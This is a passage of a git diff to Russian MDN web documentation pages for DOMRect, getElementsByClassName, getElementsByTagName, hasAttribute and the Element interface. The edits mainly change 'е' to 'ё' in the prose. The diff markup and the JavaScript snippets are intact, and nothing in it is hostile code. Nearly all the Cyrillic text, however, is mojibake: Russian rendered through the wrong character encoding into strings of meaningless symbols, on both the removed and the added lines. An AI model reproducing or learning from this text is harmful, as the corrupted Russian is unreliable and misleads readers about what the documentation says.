-<p>Для кроссбраузСрности Π½Π°Π΄Π΅ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>left</code>,Β <code>top</code>,Β <code>right</code>, ΠΈΒ <code>bottom</code>.</p>
+<p>Для кроссбраузСрности Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ <code>left</code>,Β <code>top</code>,Β <code>right</code>, ΠΈΒ <code>bottom</code>.</p>
-<p>Бвойства Ρƒ <code>DOMRect</code> Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ собствСнными.Β <code>in</code>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈΒ <code>for...in</code>Β Π½Π°ΠΉΠ΄ΡƒΡ‚Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ APIs,Β <code>Object.keys()</code>, β€” Π½Π΅Ρ‚. А Π΅Ρ‰Π΅Β <code>Object.assign()</code>Β ΠΈ spread ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π½Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ ΠΈΡ….</p>
+<p>Бвойства Ρƒ <code>DOMRect</code> Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ собствСнными.Β <code>in</code>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈΒ <code>for...in</code>Β Π½Π°ΠΉΠ΄ΡƒΡ‚Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ APIs,Β <code>Object.keys()</code>, β€” Π½Π΅Ρ‚. А Π΅Ρ‰Ρ‘Β <code>Object.assign()</code>Β ΠΈ spread ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π½Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ ΠΈΡ….</p>
<pre><code>rect = elt.getBoundingClientRect()
// emptyObj всСгда {}
diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html
index 08cacea20e..2b4e7674d9 100644
--- a/files/ru/web/api/element/getelementsbyclassname/index.html
+++ b/files/ru/web/api/element/getelementsbyclassname/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/Element/getElementsByClassName
<p><strong><code>Element.getElementsByClassName()</code></strong> ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("HTMLCollection")}}, содСрТащий Π² сСбС всС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° классов. Если Π²Ρ‹Π·Π²Π°Π½ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ document, Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ всС элСмСнты, содСрТащиСся Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
-<p>Π’Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} дСйствуСт на вСсь Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚; это вСрнСт элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈΒ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта, содСрТащиС Π² сСбС ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ классы.</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} дСйствуСт на вСсь Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚; это вСрнёт элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈΒ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта, содСрТащиС Π² сСбС ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ классы.</p>
<p>Syntax</p>
@@ -38,7 +38,7 @@ translation_of: Web/API/Element/getElementsByClassName
<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ·Β {{jsxref("Array.prototype")}} Π½Π° любом Β {{ domxref("HTMLCollection") }} ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈΒ <code><var>HTMLCollection</var></code> Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <var>this</var>. Π’Π°ΠΊ мы найдСм всС {{HTMLElement("div")}} элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ класс test:</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ·Β {{jsxref("Array.prototype")}} Π½Π° любом Β {{ domxref("HTMLCollection") }} ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈΒ <code><var>HTMLCollection</var></code> Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <var>this</var>. Π’Π°ΠΊ мы найдём всС {{HTMLElement("div")}} элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ класс test:</p>
<pre class="brush: js">var testElements = document.getElementsByClassName('test');
var testDivs = Array.prototype.filter.call(testElements, function(testElement){
diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html
index 6dd764a608..5085a050d1 100644
--- a/files/ru/web/api/element/getelementsbytagname/index.html
+++ b/files/ru/web/api/element/getelementsbytagname/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/Element/getElementsByTagName
<ul>
<li><code>elements</code> это Тивая коллСкция {{domxref("HTMLCollection")}} Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… элСмСнтов Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹ Π² Π΄Π΅Ρ€Π΅Π²Π΅. Если Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡŽΡ‰Π΅Π³ΠΎ условиям поиска, Ρ‚ΠΎ коллСкция Π±ΡƒΠ΄Π΅Ρ‚ пустой.</li>
- <li><code>element</code> это элСмСнт Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ поиск. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ поиск Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°Ρ… этого элСмСнта. Π‘Π°ΠΌ элСмСнт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ поиска.Β </li>
+ <li><code>element</code> это элСмСнт Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ поиск. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ поиск Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°Ρ… этого элСмСнта. Π‘Π°ΠΌ элСмСнт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ поиска.Β </li>
<li><code>tagName</code> опрСдСляСт имя Ρ‚Π΅Π³Π° для поиска. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ tagName Π±ΡƒΠ΄Π΅Ρ‚Β <code>"*", Ρ‚ΠΎ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ всС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ элСмСнта ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ осущСствляСтся поиск</code>. Для совмСстимости с XHTML ΡΠ»Π΅Π΄ΡƒΠ΅Ρ‚Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр Π² ΠΈΠΌΠ΅Π½ΠΈ Ρ‚Π΅Π³Π°.Β </li>
</ul>
@@ -129,6 +129,6 @@ for (var i = 0; i &lt; cells.length; i++) {
</table>
</div>
-<p>[1] Π”ΠΎ Firefox 19 этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π» {{domxref("NodeList")}}; ΠΈ Π±Ρ‹Π» Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</p>
+<p>[1] Π”ΠΎ Firefox 19 этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π» {{domxref("NodeList")}}; ΠΈ Π±Ρ‹Π» Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</p>
-<p>[2] ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π» {{domxref("NodeList")}}; ΠΈ Π±Ρ‹Π» Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</p>
+<p>[2] ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π» {{domxref("NodeList")}}; ΠΈ Π±Ρ‹Π» Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ спСцификации.</p>
diff --git a/files/ru/web/api/element/hasattribute/index.html b/files/ru/web/api/element/hasattribute/index.html
index 12983eff93..de656ff27d 100644
--- a/files/ru/web/api/element/hasattribute/index.html
+++ b/files/ru/web/api/element/hasattribute/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/Element/hasAttribute
</pre>
<ul>
- <li><code>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ result</code>Β Ρ…Ρ€Π°Π½ΠΈΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code> ΠΈΠ»ΠΈΒ <code>false</code>.</li>
+ <li><code>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ result</code>Β Ρ…Ρ€Π°Π½ΠΈΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code> ΠΈΠ»ΠΈΒ <code>false</code>.</li>
<li><code>attName</code> это Β {{Glossary("String")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.</li>
</ul>
diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html
index 966cf39fe2..690ad551ff 100644
--- a/files/ru/web/api/element/index.html
+++ b/files/ru/web/api/element/index.html
@@ -54,7 +54,7 @@ translation_of: Web/API/Element
<dd>ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ ΠΈΠΌΡ‘Π½ URI элСмСнта ΠΈΠ»ΠΈ null, Ссли это Π½Π΅ пространство ΠΈΠΌΠ΅Π½.</dd>
<dd>
<div class="note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’ Firefox вСрсии 3.5 ΠΈ Ρ€Π°Π½Π΅Π΅, HTML элСмСнты Π½Π΅ находятся Π² пространствС ΠΈΠΌΠ΅Π½. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, HTML элСмСнты находятся в пространствС ΠΈΠΌΠ΅Π½Β Β <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code>Β  ΠΊΠ°ΠΊ Π² Π΄Π΅Ρ€Π΅Π²ΡŒΡΡ…Β HTML, Ρ‚Π°ΠΊ ΠΈ XML. {{ gecko_minversion_inline("1.9.2") }}</p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’ Firefox вСрсии 3.5 ΠΈ Ρ€Π°Π½Π΅Π΅, HTML элСмСнты Π½Π΅ находятся Π² пространствС ΠΈΠΌΡ‘Π½. Π’ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΡ… вСрсиях, HTML элСмСнты находятся в пространствС ΠΈΠΌΡ‘Π½Β Β <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code>Β  ΠΊΠ°ΠΊ Π² Π΄Π΅Ρ€Π΅Π²ΡŒΡΡ…Β HTML, Ρ‚Π°ΠΊ ΠΈ XML. {{ gecko_minversion_inline("1.9.2") }}</p>
</div>
</dd>
</dl>
@@ -119,7 +119,7 @@ translation_of: Web/API/Element
<dl>
<dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
- <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий Π² элСмСнтС.</dd>
+ <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий Π² элСмСнтС.</dd>
<dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Element")}}, ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ° этого элСмСнта (ΠΈΠ»ΠΈ сам этот элСмСнт), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся блиТайшим ΠΏΡ€Π΅Π΄ΠΊΠΎΠΌ элСмСнтов, Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… сСлСкторами, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅.</dd>
<dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}</dt>
@@ -135,11 +135,11 @@ translation_of: Web/API/Element
<dt>{{ domxref("Element.getAttribute()") }}</dt>
<dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² Π²ΠΈΠ΄Π΅{{jsxref("Object")}}.</dd>
<dt>{{ domxref("Element.getAttributeNS()") }}</dt>
- <dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΠ΅Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ {{jsxref("Object")}}.</dd>
+ <dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΡ‘Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΊΠ°ΠΊ {{jsxref("Object")}}.</dd>
<dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt>
<dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ прСдставлСниС ΡƒΠ·Π»Π° ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² Π²ΠΈΠ΄Π΅ {{ domxref("Attr") }}.</dd>
<dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt>
- <dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ прСдставлСниС ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΠ΅Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² Π²ΠΈΠ΄Π΅ {{ domxref("Attr") }}.</dd>
+ <dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ прСдставлСниС ΡƒΠ·Π»Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΡ‘Π½ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π² Π²ΠΈΠ΄Π΅ {{ domxref("Attr") }}.</dd>
<dt>{{ domxref("Element.getBoundingClientRect()") }}<code> </code>{{experimental_inline}}</dt>
<dd>...</dd>
<dt>{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????</dt>
@@ -153,9 +153,9 @@ translation_of: Web/API/Element
<dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ {{ domxref ("HTMLCollection")}}, которая содСрТит всС элСмСнты, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ‚Π΅Π³Π° ΠΈ пространства ΠΈΠΌΡ‘Π½ совпадаСт с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°Π΄Π°Π½Π½ΠΎ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</dd>
<dt>{{ domxref("Element.hasAttribute()") }}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, имССт элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, имССт элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
<dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΠΈΠΌΠ΅Π΅Ρ‚ элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ пространствС ΠΈΠΌΠ΅Π½, ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β {{jsxref("Boolean")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΠΈΠΌΠ΅Π΅Ρ‚ элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ пространствС ΠΈΠΌΡ‘Π½, ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
<dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt>
<dd>АнализируСт тСкст ΠΊΠ°ΠΊ HTML ΠΈΠ»ΠΈ XML ΠΈ вставляСт ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π΄Π΅Ρ€Π΅Π²Π° элСмСнтов.</dd>
<dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt>
@@ -171,7 +171,7 @@ translation_of: Web/API/Element
<dt>{{ domxref("Element.removeAttribute()") }}</dt>
<dd>УдаляСт ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
- <dd>УдаляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΠ΅Π½, ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
+ <dd>УдаляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ пространством ΠΈΠΌΡ‘Π½, ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΡƒΠ·Π»Π°.</dd>
<dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt>
